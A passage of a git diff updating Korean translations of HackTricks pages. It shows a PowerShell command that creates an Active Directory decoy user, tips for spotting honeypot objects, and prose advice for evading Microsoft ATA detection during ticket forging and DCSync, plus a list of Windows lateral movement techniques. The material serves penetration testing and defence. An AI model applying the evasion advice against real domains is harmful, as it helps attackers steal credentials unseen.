๊ฒƒ์ž…๋‹ˆ๋‹ค: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - ๊ธฐ๋งŒ ๊ธฐ์ˆ  ๋ฐฐํฌ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **๊ธฐ๋งŒ ์‹๋ณ„** - **์‚ฌ์šฉ์ž ๊ฐ์ฒด์˜ ๊ฒฝ์šฐ**: ์˜์‹ฌ์Šค๋Ÿฌ์šด ์ง€ํ‘œ์—๋Š” ๋น„์ •์ƒ์ ์ธ ObjectSID, ๋“œ๋ฌธ ๋กœ๊ทธ์ธ, ์ƒ์„ฑ ๋‚ ์งœ ๋ฐ ๋‚ฎ์€ ์ž˜๋ชป๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ˆ˜๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. -- **์ผ๋ฐ˜ ์ง€ํ‘œ**: ์ž ์žฌ์ ์ธ ์œ ์ธ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ์ง„์งœ ๊ฐ์ฒด์˜ ์†์„ฑ๊ณผ ๋น„๊ตํ•˜๋ฉด ๋ถˆ์ผ์น˜๊ฐ€ ๋“œ๋Ÿฌ๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)์™€ ๊ฐ™์€ ๋„๊ตฌ๋Š” ์ด๋Ÿฌํ•œ ๊ธฐ๋งŒ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **์ผ๋ฐ˜ ์ง€ํ‘œ**: ์ž ์žฌ์ ์ธ ์œ ์ธ๋ฌผ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ์ง„์งœ ๊ฐ์ฒด์˜ ์†์„ฑ๊ณผ ๋น„๊ตํ•˜๋ฉด ๋ถˆ์ผ์น˜๊ฐ€ ๋“œ๋Ÿฌ๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)์™€ ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์ด๋Ÿฌํ•œ ๊ธฐ๋งŒ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **ํƒ์ง€ ์‹œ์Šคํ…œ ์šฐํšŒ** - **Microsoft ATA ํƒ์ง€ ์šฐํšŒ**: - **์‚ฌ์šฉ์ž ์—ด๊ฑฐ**: ATA ํƒ์ง€๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ์„ธ์…˜ ์—ด๊ฑฐ๋ฅผ ํ”ผํ•ฉ๋‹ˆ๋‹ค. -- **ํ‹ฐ์ผ“ ๊ฐ€์žฅํ•˜๊ธฐ**: ํ‹ฐ์ผ“ ์ƒ์„ฑ์„ ์œ„ํ•ด **aes** ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด NTLM์œผ๋กœ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜์ง€ ์•Š์•„ ํƒ์ง€๋ฅผ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **ํ‹ฐ์ผ“ ๊ฐ€์žฅํ•˜๊ธฐ**: ํ‹ฐ์ผ“ ์ƒ์„ฑ์„ ์œ„ํ•ด **aes** ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด NTLM์œผ๋กœ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜์ง€ ์•Š์Œ์œผ๋กœ์จ ํƒ์ง€๋ฅผ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **DCSync ๊ณต๊ฒฉ**: ATA ํƒ์ง€๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋น„๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๋ฉฐ, ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ์ง์ ‘ ์‹คํ–‰ํ•˜๋ฉด ๊ฒฝ๊ณ ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ## ์ฐธ๊ณ  ๋ฌธํ—Œ diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index 6135b830c..74d747571 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -์™ธ๋ถ€ ์‹œ์Šคํ…œ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—์„œ ์ฃผ์š” Windows ์ธก๋ฉด ์ด๋™ ๊ธฐ์ˆ ์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹์— ๋Œ€ํ•œ ์„ค๋ช…์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์™ธ๋ถ€ ์‹œ์Šคํ…œ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ๋Š” ์ฃผ์š” Windows ์ธก๋ฉด ์ด๋™ ๊ธฐ์ˆ ์ด ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹์— ๋Œ€ํ•œ ์„ค๋ช…์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - [**PsExec**](psexec-and-winexec.md) - [**SmbExec**](smbexec.md) @@ -10,8 +10,8 @@ - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) -- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud) -- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud) -- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) +- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) +- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) +- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) {{#include ../../banners/hacktricks-training.md}}